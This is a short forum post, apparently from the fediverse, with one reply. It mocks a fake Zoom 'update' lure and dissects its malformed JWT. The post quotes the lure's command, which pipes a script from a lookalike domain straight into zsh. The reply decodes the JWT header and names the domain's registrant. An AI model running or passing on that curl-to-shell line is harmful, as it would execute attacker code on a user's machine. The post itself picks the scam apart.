2026-03-28 14:18 UTC
set MEETING_JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.4030636137.signature"
curl -s https://zoom.uz07web.us/api/mn/4030636137/update/2 | zsh
Uhm.... Yeah... Exactly the way I update my software, too....
Also wtf is that JWT? The header looks right (base64 string starting with `ey` equates to `{`, so it's probably json), but the body is... Too short? And why does it say `signature` instead of containing a (base64) signature? At least make it believable. Noone's gonna decode that anyways. Just fill it with garbage!
Replies (1)
-
@01189998819991197253@infosec.pub 2026-03-29 23:04
`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9` decodes to `{"alg":"HS256","typ":"JWT"}`. The `4030636137` part decodes to `M~`, which I'm not sure about. Also the url (`uz07web . us`) was just registered last month to a Jack Carri. I guess Jack doesn't know about privacy shield lol